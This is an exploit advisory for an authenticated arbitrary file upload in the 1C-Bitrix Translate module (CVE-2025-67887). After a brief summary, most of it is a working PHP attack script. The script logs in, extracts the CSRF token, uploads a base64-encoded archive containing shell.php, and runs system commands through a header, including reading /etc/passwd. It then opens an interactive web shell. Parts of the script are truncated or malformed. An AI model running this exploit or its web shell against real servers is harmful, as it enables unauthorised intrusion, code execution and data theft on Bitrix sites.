============================================================================================================================================= | # Title : C‑Bitrix 25.100.500 Translate Module – Arbitrary File Upload Vulnerability (Conditional RCE) | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://www.1c-bitrix.ru/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212894/ & CVE-2025-67887 [+] Summary : A security vulnerability was discovered in 1C‑Bitrix CMS (≤ 25.100.500), specifically in the Translate Module, allowing arbitrary file upload to a predictable path. The vulnerability can lead to Remote Code Execution (RCE) only if the server configuration allows execution of PHP in the upload directory. This advisory clarifies previous reports claiming unconditional RCE. In reality, RCE is conditional and may not work in default secure configurations. [+] Vulnerability Details : Module affected: Translate Module Versions affected: 25.100.500 Vulnerability type: Arbitrary File Upload (CWE‑434) Impact: Conditional Remote Code Execution (RCE) Attack vector: Authenticated users can upload a malicious TAR.GZ archive containing PHP files. [+] Conditions for RCE : The upload/tmp/ directory must be accessible via HTTP. The server must be configured to allow PHP execution in upload directories. Default Bitrix configurations may block PHP execution; RCE is not guaranteed. Potential Risks Even Without RCE Local File Inclusion (LFI) Server-Side Request Forgery (SSRF) Information Disclosure Resource exhaustion via file uploads [+] Proof of Concept (PoC) Authenticated login to Bitrix. Uploading a test PHP file to verify execution capability. Conditional RCE depending on server configuration. Alternative exploitation techniques if RCE is not possible. Note: This PoC is intended for educational and authorized testing purposes only. Unauthorized use is illegal. Steps to Run PoC php exploit.php Example: php exploit.php https://example.com/ admin mypassword [+] PoC Behavior: Logs into Bitrix with provided credentials. Extracts sessid CSRF token. Uploads a TAR.GZ archive containing shell.php. Attempts to access shell.php to test PHP execution. If RCE is possible: Interactive shell starts. System information and commands can be executed. [+] If RCE is blocked: Advises alternative exploit strategies (LFI, SSRF, Information Disclosure, resource exhaustion). Temporary files (cookies, archives) are deleted after execution. The original report would not work on properly configured servers. The corrected PoC provides accurate verification before claiming RCE. Reported by: Egidio Romano (EgiX) – PoC review by [indoushka] [+] PoC : This code demonstrates a random file loading vulnerability in Bitrix that can lead to a conditional RCE, not a direct RCE vulnerability. The full exploit relies on the assumption that the server is misconfigured to allow PHP execution in loading folders, which is not the default secure setting in Bitrix. The vulnerability is real in arbitrary file uploads to a predictable path (upload/tmp/). The RCE exploit is conditional and depends on server configuration: PHP execution is allowed in the upload folder. Direct HTTP access to the path is enabled. Without server configuration verification, the original RCE claim is not guaranteed. Real risks even without RCE: LFI (Local File Inclusion) SSRF (Server-Side Request Forgery) Information Disclosure Storage Space Exhaustion [+] Proof-of-C (PoC) Testing Steps ز Save the code to an exploit.php file. Run the command: php exploit.php https://example.com/admin password123 Observe the output to see if RCE is enabled or if the vulnerability is limited. Review alternative suggestions if RCE is not available. \n\n"; echo "Example:\n"; echo " php exploit.php https://example.com/ admin password123\n"; echo "\nImportant notes:\n"; echo " 1. Target URL must end with /\n"; echo " 2. Full RCE depends on server configuration\n"; echo " 3. May only work in misconfigured environments\n"; echo "════════════════════════════════════════════════════════════════\n\n"; exit(1); } // Get inputs $url = rtrim($argv[1], '/') . '/'; $username = $argv[2]; $password = $argv[3]; // Define constants and files define('COOKIE_FILE', './bitrix_exploit_cookies_' . md5($url) . '.txt'); define('TEMP_ARCHIVE', './bitrix_payload_' . uniqid() . '.tar.gz'); define('TEST_PHP_FILE', './bitrix_test_' . uniqid() . '.php'); // Display startup information echo "\n════════════════════════════════════════════════════════════════\n"; echo "Starting Bitrix Translate Module Exploit\n"; echo "════════════════════════════════════════════════════════════════\n"; echo "[*] Target: " . $url . "\n"; echo "[*] Username: " . $username . "\n"; echo "[*] Start time: " . date('Y-m-d H:i:s') . "\n"; echo "[!] Warning: RCE is configuration-dependent (not guaranteed)\n"; echo "════════════════════════════════════════════════════════════════\n\n"; // Initialize cURL $ch = curl_init(); if (!$ch) { die("[-] Failed to initialize cURL\n"); } // Clean up old files cleanup_files([COOKIE_FILE, TEMP_ARCHIVE, TEST_PHP_FILE]); // Basic cURL settings $curl_options = [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', CURLOPT_CONNECTTIMEOUT => 20, CURLOPT_TIMEOUT => 40, CURLOPT_COOKIEJAR => COOKIE_FILE, CURLOPT_COOKIEFILE => COOKIE_FILE, CURLOPT_HEADER => true, CURLINFO_HEADER_OUT => true, ]; curl_setopt_array($ch, $curl_options); // ============================================================================ // Phase 1: Authentication // ============================================================================ print "[+] Phase 1: Attempting to log into Bitrix\n"; $login_data = [ 'AUTH_FORM' => 'Y', 'TYPE' => 'AUTH', 'USER_LOGIN' => $username, 'USER_PASSWORD' => $password, 'USER_REMEMBER' => 'Y' ]; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data)); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if (curl_errno($ch)) { die("[-] Connection error: " . curl_error($ch) . "\n"); } if ($http_code != 200 && $http_code != 302) { die("[-] Unexpected server response: HTTP $http_code\n"); } if (!preg_match('/BITRIX_SM_LOGIN/i', $response)) { if (preg_match('/Wrong login or password|Incorrect login|Invalid credentials/i', $response)) { die("[-] Invalid login credentials\n"); } die("[-] Login failed. Check credentials.\n"); } print "[✓] Successfully logged in\n"; // ============================================================================ // Phase 2: Obtain CSRF Token (sessid) // ============================================================================ print "[+] Phase 2: Obtaining session token (CSRF token)\n"; curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HTTPHEADER, []); // Fetch main page after login curl_setopt($ch, CURLOPT_URL, $url); $response = curl_exec($ch); // Search for sessid with multiple patterns $sessid = null; $patterns = [ '/"bitrix_sessid":"([^"]+)"/', '/name="sessid" value="([^"]+)"/', '/sessid=([a-f0-9]+)/i', '/"sessid":"([^"]+)"/' ]; foreach ($patterns as $pattern) { if (preg_match($pattern, $response, $matches)) { $sessid = $matches[1]; break; } } if (!$sessid) { // Try extracting from JavaScript if (preg_match('/BX\.message\(\{"bitrix_sessid":"([^"]+)"\}\)/', $response, $matches)) { $sessid = $matches[1]; } else { die("[-] Failed to find session token (sessid)\n"); } } print "[✓] Obtained sessid: " . substr($sessid, 0, 8) . "...\n"; // ============================================================================ // Phase 3: Create Payload // ============================================================================ print "[+] Phase 3: Preparing malicious payload\n"; // Define shell contents - simple command execution shell $shell_content = ''; // Pre-prepared base64 payload (contains shell.php in a tar.gz archive) $base64_payload = "H4sIAAAAAAAAA+3VQWvCMBQH8F71U+Qw6DyoTaftwaKH4XCHwVDZZRsla582ENvQRPC0z75Y2Jg7THZwIvx/lxfa9/qSlkdNQUr1dKG90wmcKBrsI4+HwffY4GHo8WEQN8to6AWc3wy4x4IT7unL1lhRM+bRWu5+yzt2/0IlE/ftma5laZmfOv6IaWGMLert9ZswFA3SnLIqp+urdDGdP03nz/5suXxMb/3XTmf0o3Qybp/7RPAXvcKKLCNjTtjj2PyHYbyf/yiOY87d4DfzH2L+/0Nyv3qo8q0itqnydCM31MvG7VZyJxUZ9s5e9v8Gd6G1IDsTZa6oZkJrJTNhZVX2d93CWp13XZar6jdl43bS/3ysWx90cHlNAxfTlRJrRuValsSq8qDo3K8FAAAAAAAAAAAAAAAAAAAA4GJ8AJ02kYkAKAAA"; if (!file_put_contents(TEMP_ARCHIVE, base64_decode($base64_payload))) { die("[-] Failed to create local archive\n"); } print "[✓] Created malicious archive: " . TEMP_ARCHIVE . "\n"; print "[!] Archive size: " . filesize(TEMP_ARCHIVE) . " bytes\n"; // ============================================================================ // Phase 4: Upload Archive to Server // ============================================================================ print "[+] Phase 4: Uploading archive to server\n"; $upload_url = $url . 'bitrix/services/main/ajax.php?action=translate.asset.grabber.upload'; curl_setopt($ch, CURLOPT_URL, $upload_url); curl_setopt($ch, CURLOPT_POST, true); // Use CURLFile for upload (PHP 5.5+) if (class_exists('CURLFile')) { $post_fields = [ 'sessid' => $sessid, 'tarFile' => new CURLFile(realpath(TEMP_ARCHIVE), 'application/gzip', 'exploit.tar.gz') ]; } else { // Support for older PHP versions $post_fields = [ 'sessid' => $sessid, 'tarFile' => '@' . realpath(TEMP_ARCHIVE) . ';type=application/gzip' ]; } curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); curl_setopt($ch, CURLOPT_HTTPHEADER, []); $response = curl_exec($ch); $upload_info = curl_getinfo($ch); if ($upload_info['http_code'] != 200) { cleanup_files([TEMP_ARCHIVE]); die("[-] Upload failed: HTTP " . $upload_info['http_code'] . "\n"); } if (!preg_match('/"status":"success"/i', $response)) { if (preg_match('/"error":"([^"]+)"/', $response, $error_match)) { die("[-] Upload rejected: " . $error_match[1] . "\n"); } cleanup_files([TEMP_ARCHIVE]); die("[-] Failed to upload archive. Vulnerability may be patched\n"); } print "[✓] Archive uploaded successfully\n"; // ============================================================================ // Phase 5: Extract Archive on Server // ============================================================================ print "[+] Phase 5: Extracting archive on server\n"; $extract_url = $url . 'bitrix/services/main/ajax.php?action=translate.asset.grabber.extract'; curl_setopt($ch, CURLOPT_URL, $extract_url); curl_setopt($ch, CURLOPT_POSTFIELDS, ['sessid' => $sessid]); $response = curl_exec($ch); if (!preg_match('/"status":"success"/i', $response)) { cleanup_files([TEMP_ARCHIVE]); die("[-] Failed to extract archive\n"); } print "[✓] Archive extracted\n"; // Clean up local archive after success cleanup_files([TEMP_ARCHIVE]); // ============================================================================ // Phase 6: Get Upload Path // ============================================================================ print "[+] Phase 6: Finding uploaded file path\n"; $apply_url = $url . 'bitrix/services/main/ajax.php?action=translate.asset.grabber.apply'; curl_setopt($ch, CURLOPT_URL, $apply_url); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'sessid' => $sessid, 'PROCESS_TOKEN' => 1, 'languageId' => 'en' ]); $response = curl_exec($ch); // Search for path with multiple patterns $upload_path = null; $path_patterns = [ '/upload\\\\\/tmp[^"]+"/', '/upload\/tmp[^"\']+["\']/', '/"path":"([^"]+upload[^"]+)"/', '/tmp\/([a-f0-9]+\/[^"\']+)/' ]; foreach ($path_patterns as $pattern) { if (preg_match($pattern, $response, $matches)) { $upload_path = $matches[0]; // Clean up text $upload_path = str_replace(['"', "'", '\/'], ['', '', '/'], $upload_path); $upload_path = trim($upload_path, '/'); break; } } if (!$upload_path) { print "[-] Could not find specific path in response\n"; print "[*] Files may be uploaded but to different path\n"; // Guess default path $timestamp = time(); $random_hash = md5($timestamp . $sessid); $upload_path = "upload/tmp/" . substr($random_hash, 0, 2) . "/" . substr($random_hash, 2, 8); print "[*] Trying default path: " . $upload_path . "\n"; } print "[✓] Estimated path: " . $upload_path . "\n"; // ============================================================================ // Phase 7: Test PHP Execution Capability // ============================================================================ print "\n[+] Phase 7: Testing PHP execution capability in path\n"; print "════════════════════════════════════════════════════════════════\n"; $test_url = $url . $upload_path . '/shell.php'; curl_setopt($ch, CURLOPT_URL, $test_url); curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HTTPGET, true); curl_setopt($ch, CURLOPT_HEADER, true); // Initial test without command $test_response = curl_exec($ch); $test_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); echo "[*] Testing access to: " . $test_url . "\n"; echo "[*] Response code: HTTP " . $test_http_code . "\n"; if ($test_http_code == 404 || $test_http_code == 403) { print "[-] File not found or access forbidden\n"; print "[!] Path might be wrong or file deleted\n"; exit_cleanup($ch); } // Test with simple command print "[*] Testing command execution (whoami / id)\n"; curl_setopt($ch, CURLOPT_HTTPHEADER, ['Cmd: ' . base64_encode('whoami 2>&1 || id 2>&1')]); $test_response = curl_exec($ch); if (preg_match('/____(.*)____/s', $test_response, $output_match)) { $test_output = trim($output_match[1]); if (!empty($test_output) && strlen($test_output) < 100) { print "[✓] PHP execution possible! Full RCE available\n"; print "[✓] Execution identity: " . $test_output . "\n"; // Gather system information print "[*] Collecting system information...\n"; get_system_info($ch, $url, $upload_path); // Start interactive access interactive_shell($ch, $url, $upload_path); } else { print "[!] Unexpected response - execution may be limited\n"; print "[*] Response: " . htmlspecialchars(substr($test_output, 0, 200)) . "\n"; print "[!] Vulnerability exists but RCE may be limited\n"; suggest_alternative_exploits(); } } else { print "[-] PHP execution not possible directly in this path\n"; print "[!] Vulnerability: Arbitrary File Upload confirmed\n"; print "[!] But full RCE not possible due to server configuration\n"; suggest_alternative_exploits(); } // Final cleanup exit_cleanup($ch); // ============================================================================ // Helper Functions // ============================================================================ /** * Clean up temporary files */ function cleanup_files($files) { foreach ($files as $file) { if (file_exists($file)) { @unlink($file); } } } /** * Clean exit with resource cleanup */ function exit_cleanup($ch) { global $url; print "\n════════════════════════════════════════════════════════════════\n"; print "[*] Cleaning up resources...\n"; if (defined('COOKIE_FILE') && file_exists(COOKIE_FILE)) { @unlink(COOKIE_FILE); print "[*] Deleted cookie file\n"; } if ($ch) { curl_close($ch); print "[*] Closed cURL connection\n"; } print "[*] Process completed at: " . date('Y-m-d H:i:s') . "\n"; print "════════════════════════════════════════════════════════════════\n"; exit(0); } /** * Gather system information */ function get_system_info($ch, $base_url, $upload_path) { $commands = [ 'uname -a' => 'System Information', 'pwd' => 'Current Directory', 'php -v | head -2' => 'PHP Version', 'ls -la ../' => 'Directory Contents', 'cat /etc/passwd | head -10' => 'System Users (first 10)' ]; print "\n[+] System Information:\n"; print "────────────────────────────────────────────────────────────\n"; foreach ($commands as $cmd => $desc) { curl_setopt($ch, CURLOPT_URL, $base_url . $upload_path . '/shell.php'); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Cmd: ' . base64_encode($cmd . ' 2>&1')]); $response = curl_exec($ch); if (preg_match('/____(.*)____/s', $response, $match)) { $output = trim($match[1]); if (!empty($output)) { print "[" . $desc . "]:\n" . $output . "\n"; print "────────────────────────────────────────────────────────────\n"; } } usleep(200000); // 200ms delay between commands } } /** * Start interactive shell */ function interactive_shell($ch, $base_url, $upload_path) { print "\n[+] Starting interactive shell (type 'exit' to quit)\n"; print "[+] Type 'help' for available commands\n"; print "════════════════════════════════════════════════════════════════\n"; $shell_url = $base_url . $upload_path . '/shell.php'; $history = []; $history_file = './bitrix_shell_history_' . md5($base_url) . '.txt'; while (true) { print "\nbitrix-shell$ "; // Read command $cmd = trim(fgets(STDIN)); // Handle special commands if (empty($cmd)) { continue; } if (strtolower($cmd) === 'exit' || strtolower($cmd) === 'quit') { print "[*] Exiting interactive mode\n"; break; } if (strtolower($cmd) === 'help') { show_help(); continue; } if (strtolower($cmd) === 'clear' || strtolower($cmd) === 'cls') { system('clear'); continue; } if (strtolower($cmd) === 'history') { show_history($history); continue; } if (strtolower(substr($cmd, 0, 3)) === 'cd ') { print "[!] Warning: cd command won't work in web shell\n"; print "[!] Use pwd to see current directory\n"; continue; } // Execute command $history[] = $cmd; file_put_contents($history_file, $cmd . PHP_EOL, FILE_APPEND); curl_setopt($ch, CURLOPT_URL, $shell_url); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Cmd: ' . base64_encode($cmd . ' 2>&1')]); $response = curl_exec($ch); if (curl_errno($ch)) { print "[-] Connection error: " . curl_error($ch) . "\n"; continue; } if (preg_match('/____(.*)____/s', $response, $match)) { $output = $match[1]; print $output; // Check if file still exists if (strpos($output, 'No such file') !== false && strpos($output, 'shell.php') !== false) { print "\n[-] Shell file deleted! Session terminated\n"; break; } } else { print "[-] No response from shell\n"; // Test if file still exists curl_setopt($ch, CURLOPT_HTTPHEADER, []); $test = curl_exec($ch); if (strpos($test, 'Bitrix Shell') === false) { print "[-] shell.php deleted or disabled\n"; break; } } } // Delete command history if (file_exists($history_file)) { @unlink($history_file); } } /** * Show help commands */ function show_help() { $help = << - Display file contents head - Show first 10 lines of file tail - Show last 10 lines of file find / -name - Search for files Network Commands: ifconfig, ip addr - Show network interfaces netstat -tulpn - Show open connections curl - Fetch URL content Information Commands: php -v - PHP version mysql --version - MySQL version apache2 -v - Apache version Warnings: - cd command won't work in web shell - Some commands may be restricted by user permissions - Avoid commands that could disrupt the system ════════════════════════════════════════════════════════════════ HELP; print $help; } /** * Show command history */ function show_history($history) { if (empty($history)) { print "[*] No command history\n"; return; } print "\n════════════════════════════════════════════════════════════════\n"; print " Command History\n"; print "════════════════════════════════════════════════════════════════\n"; foreach ($history as $index => $cmd) { printf("%3d. %s\n", $index + 1, $cmd); } print "════════════════════════════════════════════════════════════════\n"; } /** * Suggest alternative exploitation if RCE not possible */ function suggest_alternative_exploits() { $alternatives = << Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================